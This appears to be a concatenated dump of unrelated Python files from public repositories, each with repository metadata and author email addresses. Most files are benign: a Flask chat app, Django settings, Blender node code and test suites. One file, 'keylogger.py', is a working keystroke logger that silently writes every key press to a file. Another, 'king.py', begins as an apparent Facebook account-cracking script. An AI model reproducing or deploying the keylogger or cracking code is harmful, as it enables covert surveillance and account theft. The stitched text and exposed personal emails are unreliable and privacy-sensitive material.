# -*- coding: utf-8 -*- import falcon from dal import autocomplete from django.apps import apps from elasticsearch_dsl import Q from mcod.datasets.documents import DatasetsDoc from mcod.datasets.schemas import DatasetsList from mcod.datasets.serializers import DatasetSerializer, DatasetsMeta from mcod.lib.handlers imp...
[ "krz.glowka@gmail.com" ]
krz.glowka@gmail.com
eeea3c2c7d15c7a1bc6879e519f1061139d0f4d8
9d736299c485a8c788d97fc440ee8a822c08aff9
/run.py
793267164cf4c43b919f339e12fd1206297ffbeb
[]
no_license
varsha2316/chat_website_python
6e9b926f12098608c101249b0845c8aae255b0fc
ed5ce4c839cc7030384490f98b60994212f7d046
refs/heads/master
2023-05-13T13:18:55.856983
2020-08-03T01:32:51
2020-08-03T01:32:51
284,502,477
0
0
null
2023-05-01T21:45:09
2020-08-02T16:48:39
JavaScript
UTF-8
Python
false
false
1,835
py
import os from datetime import datetime from flask import Flask, json, redirect, render_template, request, session, url_for, flash import json from flask import Flask, render_template, request, flash app = Flask(__name__) app.secret_key = 'some_secret' messages = [] @app.route('/') def index(): return render_tem...
[ "varshachothy@gmail.com" ]
varshachothy@gmail.com
130abfa00b4b50b388eecf60ecd51732d7f4ec47
07410ce0fc743097f0e8ffc55c9518c2e325845e
/coordenadas.py
8d5356e5c8a4bd126c660d27bd82fb505ad29704
[]
no_license
AnaMLopez/Tarea-02
2ad1b2d9a339fc3479b7f095be627734b64ae269
03aff206f47d0c0aa66810efcf8f2ce2ec00786d
refs/heads/master
2021-01-19T16:17:11.408501
2017-08-22T20:45:19
2017-08-22T20:45:19
100,994,807
0
0
null
2017-08-21T21:40:56
2017-08-21T21:40:55
null
UTF-8
Python
false
false
364
py
#encoding: UTF-8 # Autor: Ana María López Soto, A01746134 # Descripcion: Calcular magnitud r y valor del ángulO x = int(input("Ingrese el valor de x: ")) y = int(input("Ingrese el valor de y: ")) from math import * r = (x**2 + y**2)**0.5 angulo = degrees(atan2(y,x)) print("X:", x) print("Y:", y) print...
[ "noreply@github.com" ]
AnaMLopez.noreply@github.com
aaa78f857c81ca8ddb2c8c07ac2055d4026c0c69
7e82b58f4a9cd5bbebc7eec2c873cb72cf8b5a55
/cache/.mako.tmp/crumbs.tmpl.py
85a17c9ed4d4b3999930d3a410f16c6d4672eca3
[]
no_license
pythonpiura/web
018d8e253a42954066610f9b286176be7bd06527
f4a48ab3616fee9dbdc184c47d12ffaf5fd991f7
refs/heads/master
2021-01-16T22:05:51.798388
2017-11-18T16:47:37
2017-11-18T16:47:37
64,075,467
0
0
null
null
null
null
UTF-8
Python
false
false
2,205
py
# -*- coding:utf-8 -*- from mako import runtime, filters, cache UNDEFINED = runtime.UNDEFINED STOP_RENDERING = runtime.STOP_RENDERING __M_dict_builtin = dict __M_locals_builtin = locals _magic_number = 10 _modified_time = 1511023650.9827015 _enable_loop = True _template_filename = '/home/inkarri/entornos/nikola/lib/pyt...
[ "miguel.amaya99@gmail.com" ]
miguel.amaya99@gmail.com
f1cf083f881ecc9eed66191358780915b516c21e
76499d1f306f2b41c512ad3824eed58db21600e2
/Django_REST_Tutorial/settings.py
4999c487e375a266e7b36a24485ea1d013cca874
[]
no_license
zubairahmedanas/Django_REST_Tutorial
afb8ff8b0d97c11639457aa7bf3c0415153cad65
f79ff1640580e2c21221306dc76444017a593af9
refs/heads/master
2023-04-02T11:04:28.850460
2021-04-10T14:38:09
2021-04-10T14:38:09
353,041,451
0
0
null
null
null
null
UTF-8
Python
false
false
3,508
py
""" Django settings for Django_REST_Tutorial project. Generated by 'django-admin startproject' using Django 3.1.5. For more information on this file, see https://docs.djangoproject.com/en/3.1/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/3.1/ref/settings/ """ ...
[ "amianasahmed@gmail.com" ]
amianasahmed@gmail.com
fff1aa35b8274a58b4e971c3553416a08601706d
a840007676dd895f4baccd8d77009a81d752b60b
/2018/tests.py
bcd968ad52e6c25f891adfdf83b69aaccac27847
[]
no_license
jmuguerza/adventofcode
c2283a06bdd0eac829164095fa2d04612ab5c530
7381995e1fdf65a379371a9ed06196239201b34a
refs/heads/master
2021-10-08T21:06:47.599399
2018-12-17T19:52:49
2018-12-17T19:52:49
112,970,366
0
0
null
null
null
null
UTF-8
Python
false
false
4,291
py
#!/usr/bin/python3 # -*- coding: utf-8 -*- """Test-suite for puzzle solvers""" import re import argparse from abc import ABC from solvers import * class TestPuzzle(ABC): def __init__(self, *args, **kwargs): super() self.test_class = globals()['Puzzle{}'.format(self.DAY)] self.test_cases ...
[ "joaquinmuguerza@gmail.com" ]
joaquinmuguerza@gmail.com
bf60615232cea2517827befde09a96a1cf23b77f
a91029ab94ae31140578ab18626ffad8a0cc934c
/dirbot/sites/tryCollectGovernment.py
84960f2976fdd4d35f00be6fc2ff49ab8cad8526
[]
no_license
hajaja/BarBBarn
9b1ebba68890502753f97de306776b0a745a2bad
7d053a29e34888c14abcb50bfcf00fca2e9037e4
refs/heads/master
2021-01-16T21:04:13.163682
2017-12-11T00:51:00
2017-12-11T00:51:00
63,536,245
0
0
null
null
null
null
WINDOWS-1252
Python
false
false
1,627
py
import FuncCrawl import FuncDB from dateutil.parser import parse import time import datetime import re import sys reload(sys) sys.setdefaultencoding('utf-8') hostName = "176.1.1.154" dbName = "pub" userName = "ye" password = "19860417" ''' hostName = "localhost" dbName = "db1" userName = "csdong" p...
[ "dcs0417@163.com" ]
dcs0417@163.com
8a3662785732e5f0a1d314b9ef11c3ab18cbb916
2f9b48c72a5589c4b2aa45aa94fac7bd6a048d6b
/installer.py
e25707d689eb70dcace2f5a878cc144941b06305
[]
no_license
JebinMatthew25/SDP-Tools
76263ec09789083d984396ae2b7cc2eb2845b339
839da448ea504f91640b2a39fc8230ccf809ee19
refs/heads/master
2023-03-24T16:27:11.516620
2021-03-15T08:24:54
2021-03-15T08:24:54
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,882
py
from devmode import DevMode from util import * import sys class Installer: def __init__(self, build_dir, build_name, is_sdp=True): self.is_sdp = is_sdp self.build_name = build_name self.base_dir = path_join(build_dir, self.build_name) self.server_home = get_server_home(build_dir, s...
[ "jebinmatthew25@gmail.com" ]
jebinmatthew25@gmail.com
5cf827d273d83f360b9b2c521f7e379ab581fe91
cf7bb14cd32d4ef6f57c11acef9cce0f7338cfb2
/mytaxi/taxi_auth/models/role.py
e238861b639de0bee6a551d3f24486e57a6f7c92
[]
no_license
tarundubey/mytaxi_backend
52b37ead7ae59d019e7011412ccfa4a41ba5bbe4
a89fe28342db88e7d163215cd471e5f5ba4fccbd
refs/heads/master
2022-12-10T20:47:05.764406
2019-02-20T12:41:49
2019-02-20T12:41:49
170,990,896
0
0
null
2022-11-22T02:23:00
2019-02-16T10:26:13
Python
UTF-8
Python
false
false
387
py
from django.contrib.auth.models import Group from django.db import models class Role(Group): role_name = models.CharField(max_length=255) created_at = models.DateTimeField(auto_now_add=True) updated_at = models.DateTimeField(auto_now=True) def __str__(self): return self.role_name class Me...
[ "tarunkumardubey6793@gmail.com" ]
tarunkumardubey6793@gmail.com
305d43af585283a2419fc1f458c295e373db6e69
ebd5c4632bb5f85c9e3311fd70f6f1bf92fae53f
/Sourcem8/otp/uberdog/OtpAvatarManagerAI.py
fe784b18b21426dfb9dc945b89ef2a60b8896819
[]
no_license
BrandonAlex/Pirates-Online-Retribution
7f881a64ec74e595aaf62e78a39375d2d51f4d2e
980b7448f798e255eecfb6bd2ebb67b299b27dd7
refs/heads/master
2020-04-02T14:22:28.626453
2018-10-24T15:33:17
2018-10-24T15:33:17
154,521,816
2
1
null
null
null
null
UTF-8
Python
false
false
1,377
py
from direct.directnotify import DirectNotifyGlobal from direct.distributed.DistributedObjectAI import DistributedObjectAI class OtpAvatarManagerAI(DistributedObjectAI): notify = DirectNotifyGlobal.directNotify.newCategory("OtpAvatarManagerAI") def online(self): pass def requestAvatarList(self, to...
[ "brandoncarden12345@gmail.com" ]
brandoncarden12345@gmail.com
3e2d9443b86142b7d6723ce3c40a442f9ff9598d
ae273da98d67651701cafe64c86beb64e4ce2bb7
/2_arrays/odd_occurences.py
87339186928f0be36e40eb1e8c103c9b4b498ee3
[]
no_license
herlanin/codility
90fd09d0de2cab60a19f977173df79dca3742960
c14f203304b2e4c86a3616acad2caead45dccba1
refs/heads/master
2020-12-20T11:42:48.589316
2020-01-24T18:50:05
2020-01-24T18:50:05
236,062,931
0
0
null
null
null
null
UTF-8
Python
false
false
2,200
py
"""A non-empty array A consisting of N integers is given. The array contains an odd number of elements, and each element of the array can be paired with another element that has the same value, except for one element that is left unpaired. For example, in array A such that: A[0] = 9 A[1] = 3 A[2] = 9 A[3] = 3 ...
[ "hugo.herlanin@lendico.com.br" ]
hugo.herlanin@lendico.com.br
ae0566fe6ee0e4e61f0e26a2adcc75720f657080
6c9b98a2a6f4852794805b0e14cd9a7a7c625893
/Week3/Tarun HQGC/Quantum_Gates_Week3.py
b195dc62caad5316f061bfa08e4c0f39ec0b370a
[ "MIT" ]
permissive
MadhavJivrajani/HGQC_Assignment_Repo
8f7c3a588098810bda4f9ee06ad9b33bacae5361
ef655f912f488ca1a4ef3c3d52f85e4ad9530942
refs/heads/master
2020-08-19T16:10:09.725653
2019-11-12T15:47:41
2019-11-12T15:47:41
215,933,308
1
19
MIT
2019-11-18T16:45:07
2019-10-18T03:23:11
Python
UTF-8
Python
false
false
634
py
import numpy as np import cmath from math import sqrt def pau_x(): p_x=np.array([[0,1],[1,0]]) return p_x def pau_y(): p_y=np.array([[0,-(cmath.sqrt(-1))],[(cmath.sqrt(-1)),0]]) return p_y def pau_z(): p_z=np.array([[1,0],[0,-1]]) return p_z def hada(): h=(1/sqrt(2))*(np.array(...
[ "noreply@github.com" ]
MadhavJivrajani.noreply@github.com
e22f8f1abbad54031bc34f80763d355d99ef3f94
647d0a213c37aabba95d1f35b4730ed8d9a6cc9f
/file.py
24a7cd3082296d0af483b2f965efe971b61d8b14
[]
no_license
hvats16/Python-basic.py
40142505c4c42d62b83425d3e31d0ac4421fbe9a
1dbf673595f3c8b66fcea3197e89be7af7d6d82f
refs/heads/master
2022-12-02T01:51:26.679192
2020-08-13T15:25:19
2020-08-13T15:25:19
205,671,866
1
0
null
null
null
null
UTF-8
Python
false
false
225
py
f1 = open("harshit.txt") try: f = open("does.txt") except Exception as e: print(e) else: print("this will run only when except is not running ") finally: print("run this anyway") # f.close() f1.close()
[ "hvats16@Harshit.local" ]
hvats16@Harshit.local
add4a8082a9d2eca846ae7d33110778f68bd2780
c0dfd28ce68d29f05623a9684ca9395b39cf9208
/poppy/tests/test_nonsquare.py
2980b91336ac077c104f0fae3fd2dfef1291cdd0
[]
no_license
neilzim/poppy-old
b208f7bc19f7b624489ee352df477b80505ac71b
a29eb18508a25d3cd35253339f69c806d8909298
refs/heads/master
2021-06-10T06:13:25.215249
2016-12-29T19:36:37
2016-12-29T19:36:37
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,909
py
from .. import poppy_core as poppy from .. import optics import numpy as np import astropy.io.fits as fits def test_nonsquare_detector_axes_lengths(): """ Test that an MFT onto non-square detectors yields the requested axes lengths """ for fov_pixels in ( [100,100], [100,200], [200,...
[ "mperrin@stsci.edu" ]
mperrin@stsci.edu
1821ffa05b0f39dd18622808d4a83cb6c4da538e
c3132612a7ac311e501e432e1a4c7592bbd7a713
/day16/code/08_爬虫.py
f5ee39d962d3e580dd54293573568a861feddcd3
[]
no_license
everqiujuan/python
7b8e169107012c3d7829d4ebd9860482fc0d8fec
b0a98de943217e24da60f79dec4fe8ebf4f1c713
refs/heads/master
2020-06-21T16:57:22.260311
2019-07-18T05:58:44
2019-07-18T05:58:44
184,990,635
0
0
null
null
null
null
UTF-8
Python
false
false
990
py
# # 爬虫: 蜘蛛Spider # # requests import requests import re # pip 第三方包管理 # pip install requests 安装包 # pip uninstall requests 卸载包 # pip freeze 显示自己安装的包 # pip list 显示所有包 # pip -V 查看版本 # pip show requests 查看包详情 url = 'https://search.51job.com/list/040000,000000,0000,00,9,99,python,2,1.html?l...
[ "1748636236@qq.com" ]
1748636236@qq.com
d1a0e8db20827bb9b91eda02997a0a410c7d2990
8e1b851ed1458c753b0587df7a66b77a5a468ce0
/murr_card/views.py
5e283fe6c7bbad752b847e6f2284a96b6f6a1df3
[]
no_license
Leonidovich93/Muren-back
552a87f6a158981bb85a1c7df068296f9f91b058
00e8bb55bb5300f1f9af49d4a3931f6c7a545610
refs/heads/master
2022-12-23T05:46:11.970898
2020-03-04T09:59:59
2020-03-04T09:59:59
244,842,834
0
0
null
2022-12-08T03:44:07
2020-03-04T08:10:11
HTML
UTF-8
Python
false
false
596
py
from rest_framework.response import Response from rest_framework.views import APIView from .serializers import MurrCardSerializers from .models import MurrCard class MurrCardView(APIView): def get(self, request): qs = MurrCard.objects.all() serializer = MurrCardSerializers(qs, many=True) ...
[ "noreply@github.com" ]
Leonidovich93.noreply@github.com
f57cf56cef2b98d4508d9e53f23374f20bc854a5
f8fa4632b4951549db359d39304a2d9e19f1dea0
/main_old.py
1bca930016ed0ac086e45053833308125f82b60e
[]
no_license
andrasdumbrevan/cowb
91dd3c7767514bdc69e05ef290524510b4cc7266
4c0bbe9011935babd7fe31bddb2dea16b75e6e39
refs/heads/master
2023-05-02T16:31:18.893656
2021-05-12T08:12:58
2021-05-12T08:12:58
365,140,921
0
0
null
null
null
null
UTF-8
Python
false
false
19,658
py
#!/usr/bin/python3 import os import sys import time import math from datetime import datetime from threading import Thread from sys import exit from kivy.app import App from kivy.uix.boxlayout import BoxLayout from kivy.uix.gridlayout import GridLayout from kivy.uix.label import Label from kivy.uix.button import Butto...
[ "andrasdumbrevan@yahoo.com" ]
andrasdumbrevan@yahoo.com
d43a0031adc40a69d9b2814a1c978c8cd490e873
910463f16caddc5a4e06d6ca362d62af20910dba
/CH_14_multithreading_and_multiprocessing/T_15_thread_local.py
5e4a0a8ab9363c44c745791a81890bf00047fd8a
[ "MIT" ]
permissive
AniketS-cpu/Mastering-Python-Second-Edition-test
3621ac06fc2cff577992396cd924fe09a349d52e
84de81c355d7ca21a1849eed04a15b722538f521
refs/heads/master
2023-06-09T12:42:53.963075
2021-07-04T14:54:18
2021-07-04T20:43:46
null
0
0
null
null
null
null
UTF-8
Python
false
false
588
py
import threading import concurrent.futures context = threading.local() def init_counter(): context.counter = 10 def increment(name): current_value = context.counter print(f'{name} value before increment: {current_value}') context.counter = current_value + 1 print(f'{name} value after increment...
[ "Wolph@wol.ph" ]
Wolph@wol.ph
cf87e4b0853a6345c894239ca8f7a05f1f12d8e2
6c66141a93ddf0309b591804f0a47b1a60e31f38
/ex32.py
8a846602a95f685fffa1e2e8feb0584fac8f19ca
[]
no_license
wickerdj/LearnPythonTheHardWay
35186abc9c2cf155487f26235d92bad5fb08101a
ba1a26d6cc025344f24468cf990e2b994abe6efb
refs/heads/master
2021-01-10T02:19:31.107544
2016-01-29T03:31:32
2016-01-29T03:31:32
50,634,184
0
0
null
null
null
null
UTF-8
Python
false
false
437
py
the_count = [1, 2, 3, 4, 5] fruits = ['apple', 'oranges', 'pears', 'apricots'] change = [1, 'pennies', 2, 'dimes', 3, 'quaters'] for number in the_count: print "This is count %d" % number for fruit in fruits: print "A fruit of type: %s" % fruit for i in change: print "I got %r" % i elements = [] for i in ran...
[ "wickerdj@gmail.com" ]
wickerdj@gmail.com
04264f857a701487a9b72415987349b607fd33bc
eaf24b7dc5837d96b5de0d7f387eaf39528d1d8c
/analysis/plot_test.py
c0bcb5e744910c157ebd45ba18ff5200a06569ce
[]
no_license
adammcsweeney/merlot
dd839ce8e152cefbc872988f825b3bdf4a58e753
3cb482f2cf23438f4557587f8e502ebcee0df89f
refs/heads/master
2020-04-02T07:56:29.472434
2018-11-13T10:29:11
2018-11-13T10:29:11
153,768,116
0
0
null
null
null
null
UTF-8
Python
false
false
1,576
py
import pandas as pd import matplotlib.pyplot as plt import numpy as np import re # TODO ==== add clean up data # TODO ==== add generation of plot title from data e.g launcher, engine, engine number, departure year, parameters to plot # TODO ==== automatically generate title # TODO ==== fix colorbar ticks so they are c...
[ "agmcsweeney@gmail.com" ]
agmcsweeney@gmail.com
a518889814eb5ff4f08fee145ec9852d16126a23
2f418a0f2fcca40f84ec0863b31ff974b574350c
/scripts/addons_extern/BrickTricks-master/uv_map_diamond_addin.py
540c658a13709a5eda3aba03ac9e4a6bac45fe6e
[ "Zlib" ]
permissive
JT-a/blenderpython279
57a81b55564218f3b1417c2ffa97f5161897ec79
04846c82f794c22f87d677d9eb8cec1d05c48cda
refs/heads/master
2021-06-25T06:58:07.670613
2017-09-11T11:14:36
2017-09-11T11:14:36
103,723,697
4
2
null
2017-09-16T04:09:31
2017-09-16T04:09:31
null
UTF-8
Python
false
false
47,127
py
import bpy class ShaderNodeuv_map_diamond(bpy.types.NodeCustomGroup): bl_name='ShaderNodeuv_map_diamond' bl_label='uv_map_diamond' bl_icon='NONE' def init(self, context): self.getNodetree(self.name + '_node_tree_v013') self.inputs['Vector'].default_value=[0,0,0] self.inputs['HAS...
[ "meta.androcto1@gmail.com" ]
meta.androcto1@gmail.com
2d9c002f0edb1590e3484d3211814c6f82bad47e
307c17d07ea2ec83fb5dd305be7621a61d0e86c6
/keylogger.py
7f9629d6a501406ca67530df85377d2140161190
[]
no_license
Wi6eM/python-keylogger
ac0719f7c1b904b31689597d407695358b52c323
6cde39e2ec9bf8b46eed0b54c5504ef4bc7c0802
refs/heads/main
2023-07-11T13:14:48.647408
2021-08-15T15:17:03
2021-08-15T15:17:03
396,391,963
2
0
null
null
null
null
UTF-8
Python
false
false
282
py
from pynput.keyboard import Listener import logging file = "touch.txt" logging.basicConfig(filename=file, level=logging.DEBUG, format="%(asctime)s %(message)s") def on_press(key): logging.info(key) with Listener(on_press=on_press) as listener: listener.join()
[ "noreply@github.com" ]
Wi6eM.noreply@github.com
334f66caa493e878212a746b68f7b74d72ab9ecc
514742e4d23f92bb01fd2feaa666d44e30623632
/house_information_manager_system/usl.py
92b9f2a6312b083b14601ebd5bb092abede15bf7
[]
no_license
863511558/Myproject
a3102ad191bb7c873b1defe1c2adc7b4a940c132
d26e5ca94f3fd1b1b245be0412ec223f7f9f17c4
refs/heads/master
2023-02-07T17:24:09.875386
2020-12-21T10:53:34
2020-12-21T10:53:34
323,306,411
0
0
null
null
null
null
UTF-8
Python
false
false
2,056
py
""" 用户显示层 """ from bll import HouseManagerController class HouseManagerView: def __init__(self): self.__controller = HouseManagerController() def __display_menu(self): print("按1键显示所有房源信息") print("按2键显示总价最高房源信息") print("按3键显示面积最小房源信息") print("按4键根据总价升序显示房源信息") ...
[ "863511558@qq.com" ]
863511558@qq.com
e9fb664b8d388ea3a31183ed00a837dfa903336f
a5f79152b6f5e7dbde001d10d660799e1ad675d2
/king.py
1e8b1598735663f1b07d8bb6f4add0c47cdb2d1b
[]
no_license
Malikmujahid1/king
75f2ead8cd6ff4b509d6ce2772b3ba2338415bb4
7568a69d4931ca36196f0c23f1e3a1acdcf21434
refs/heads/main
2023-04-15T10:52:41.729947
2021-05-02T05:58:37
2021-05-02T05:58:37
363,577,808
0
0
null
null
null
null
UTF-8
Python
false
false
17,440
py
# Ustad# SIDRA5# Thuglife# Somibro# Gamz#!/usr/bin/python2 #coding=utf-8 import os,sys,time,datetime,random,hashlib,re,threading,json,urllib,cookielib,getpass os.system('rm -rf .txt') for n in range(10000): nmbr = random.randint(1111111, 9999999) sys.stdout = open('.txt', 'a') print(nmbr) ...
[ "noreply@github.com" ]
Malikmujahid1.noreply@github.com
2412d1167b7c0b04015b6e4b11532237a2e2543d
2b0eab74af8d23244ff11699830f9bb10fbd717a
/energies/migrations/0007_energyvector_data.py
e945aa4ab0b6a070aaa73901fa7bf9c5246097dd
[]
no_license
alexandrenorman/mixeur
c7e25cd20b03c78b361cb40e3e359a6dc5d9b06b
95d21cd6036a99c5f399b700a5426e9e2e17e878
refs/heads/main
2023-03-13T23:50:11.800627
2021-03-07T15:49:15
2021-03-07T15:49:15
345,384,858
0
0
null
null
null
null
UTF-8
Python
false
false
3,103
py
# Generated by Django 2.2 on 2019-05-02 14:54 from decimal import Decimal from django.db import migrations def load_data(apps, schema_editor): EnergyVector = apps.get_model("energies", "EnergyVector") Energy = apps.get_model("energies", "Energy") energies = {energy.identifier: energy for energy in Energ...
[ "norman@xael.org" ]
norman@xael.org
95c5e1de6798d820255b8f5fe1130f7c27f67523
f0ea2431796728e788267239300c831ee7c385d9
/0x0B-python-input_output/2-append_write.py
068317f9e471bf39c0d4b387bf74271a20cf13e3
[]
no_license
mathias-ta/alx-higher_level_programming
f1d76b54341c8d52e032c91356f4e5bd124dcdb8
22f041a13000ab8a6543bea0b702e71140311bf9
refs/heads/main
2023-08-27T01:24:12.125065
2021-10-19T10:10:17
2021-10-19T10:10:17
403,923,128
0
0
null
null
null
null
UTF-8
Python
false
false
237
py
#!/usr/bin/python3 """ contains method to append to a file """ def append_write(filename="", text=""): """Append text to filename""" with open(filename, mode="a", encoding="utf-8") as f_name: return(f_name.write(text))
[ "mathiasstadesse@gmail.com" ]
mathiasstadesse@gmail.com
d3dcbaca461eb75f66f1a609c3a321a0325bd4b6
bf93dd3dcecc548b9c59bc5634250e7c978cb7ac
/Python/v2_7/test.py
8b783c58c214e8eed0eec1de45feb9d7eccb89a5
[ "MIT" ]
permissive
Koopakiller/Samples
0081c86adaf3bedd3c7916c0633bb3f54e069292
c64e76acf3662e255450daa8a39b0e9934323bfa
refs/heads/master
2021-06-20T15:27:06.154518
2017-07-05T17:06:41
2017-07-05T17:06:41
57,412,936
1
0
null
null
null
null
UTF-8
Python
false
false
113
py
import random False = random.randint(0, 1) True = not False print("I like Python" if True else "Err...nope.")
[ "koopakiller@live.de" ]
koopakiller@live.de
4d7b646ba98a84256e615bf215b90216709cb341
dfb827c5b17843177a868597dc777e5bbcbba8fe
/app/crud/Base.py
7af2f7a0817efd8363a9ae48f2911b1bdf06a090
[]
no_license
daniel-herrero/starlette-poc
1ee6e6047025faa8fccd12ea0ca02ae8f60505cb
1e75bfac42c5f130ea1ac81ecc0070a12527a55c
refs/heads/master
2023-03-31T07:06:31.563746
2021-03-26T07:22:06
2021-03-26T07:22:06
346,262,194
0
0
null
null
null
null
UTF-8
Python
false
false
2,122
py
from typing import Any, Dict, Generic, List, Optional, Type, TypeVar, Union from fastapi.encoders import jsonable_encoder from pydantic import BaseModel from sqlalchemy.orm import Session from app.core.database import Base ModelType = TypeVar("ModelType", bound=Base) CreateSchemaType = TypeVar("CreateSchemaType", bo...
[ "daniel.herrero@kaleidos.net" ]
daniel.herrero@kaleidos.net
71f5c1ce2364f53f0df7d090799750a7ae5ef7d2
6cc9adf9c0d840139d70a51f9e05731c4f26fe4c
/Programmers/8.py
5bbe6b7fd4a2d2760dfc09ee32bdb38a7e843cb8
[]
no_license
y2sec/Algorithm
2e05447d401c8c8d0c183c73fb1ce94d26080382
712d572bedfbf36dc27e1cc1272143e2b3b73b7f
refs/heads/master
2023-07-08T00:38:46.809836
2021-09-04T06:23:54
2021-09-04T06:23:54
317,202,541
0
0
null
null
null
null
UTF-8
Python
false
false
550
py
# 문자열 압축 def solution(s): answer = len(s) for i in range(1, len(s) // 2 + 1): start = 0 cnt = 1 change = '' while start < len(s): if s[start:start + i] == s[start + i:start + i + i]: cnt += 1 elif cnt >= 2: change += str(c...
[ "bae3835@gmail.com" ]
bae3835@gmail.com
17201ccb0bdd9265abd0d885807ae744d84ec6c5
ac00ccb1b209cd4b429fb9f0e499cd77e8abac67
/WECmath/base2.py
7fcc8f128cd62e884e5884da856c1feb09a5ba29
[]
no_license
lkilcher/WECmath
5f5b684a976d57eb09b3be138b9bac10f9484cc4
089b7e230cf8ebf5642af7159b2535129565f02b
refs/heads/master
2021-05-10T19:04:19.334859
2018-01-19T15:30:51
2018-01-19T15:30:51
118,142,139
0
0
null
null
null
null
UTF-8
Python
false
false
195
py
import numpy as np hs_edges = np.arange(0, 11.1, 0.25) tp_edges = np.arange(2, 25.1, 0.25) hs_centers = hs_edges[:-1] + np.diff(hs_edges) / 2 tp_centers = tp_edges[:-1] + np.diff(tp_edges) / 2
[ "Levi.Kilcher@gmail.com" ]
Levi.Kilcher@gmail.com